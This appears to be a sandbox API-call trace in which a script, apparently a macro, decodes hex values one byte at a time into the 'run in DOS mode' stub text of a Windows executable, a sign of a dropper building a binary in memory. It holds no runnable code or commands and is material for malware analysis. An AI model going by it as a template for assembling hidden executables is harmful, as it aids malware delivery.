1 [0061.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u", lpUsedDefaultChar=0x0) returned 1 [0061.670] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.670] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.670] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0061.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n", lpUsedDefaultChar=0x0) returned 1 [0061.673] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.673] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.674] VarParseNumFromStr (in: strIn="&H69", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.674] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0061.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i", lpUsedDefaultChar=0x0) returned 1 [0061.675] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.675] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0061.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n", lpUsedDefaultChar=0x0) returned 1 [0061.677] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.677] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.678] VarParseNumFromStr (in: strIn="&H44", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.678] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0061.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D", lpUsedDefaultChar=0x0) returned 1 [0061.679] VarParseNumFromStr (in: strIn="&H4F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.679] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="O") returned 1 [0061.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="O", lpUsedDefaultChar=0x0) returned 1 [0061.679] VarParseNumFromStr (in: strIn="&H53", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.679] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0061.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S", lpUsedDefaultChar=0x0) returned 1 [0061.680] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.680] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0061.681] VarParseNumFromStr (in: strIn="&H6D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.681] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0061.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="m", lpUsedDefaultChar=0x0) returned 1 [0061.681] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.682] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0061.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="o", lpUsedDefaultChar=0x0) returned 1 [0061.682] VarParseNumFromStr (in: strIn="&H64", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.682] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0061.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d", lpUsedDefaultChar=0x0) returned 1 [0061.683] VarParseNumFromStr (in: strIn="&H65", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.683] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0061.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e", lpUsedDefaultChar=0x0) returned 1 [0061.684] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.684] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0061.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 1 [0061.684] VarParseNumFromStr (in: strIn="&HD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.684] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\r") returned 1 [0061.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0061.685] VarParseNumFromStr (in: strIn="&HD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.685] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\r") returned 1 [0061.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0061.686] VarParseNumFromStr (in: strIn="&HA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.686] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0061.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0061.687] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.687] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="$") returned 1 [0061.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$", lpUsedDefaultChar=0x0) returned 1 [0061.687] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.687] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.688] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.688] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.688] 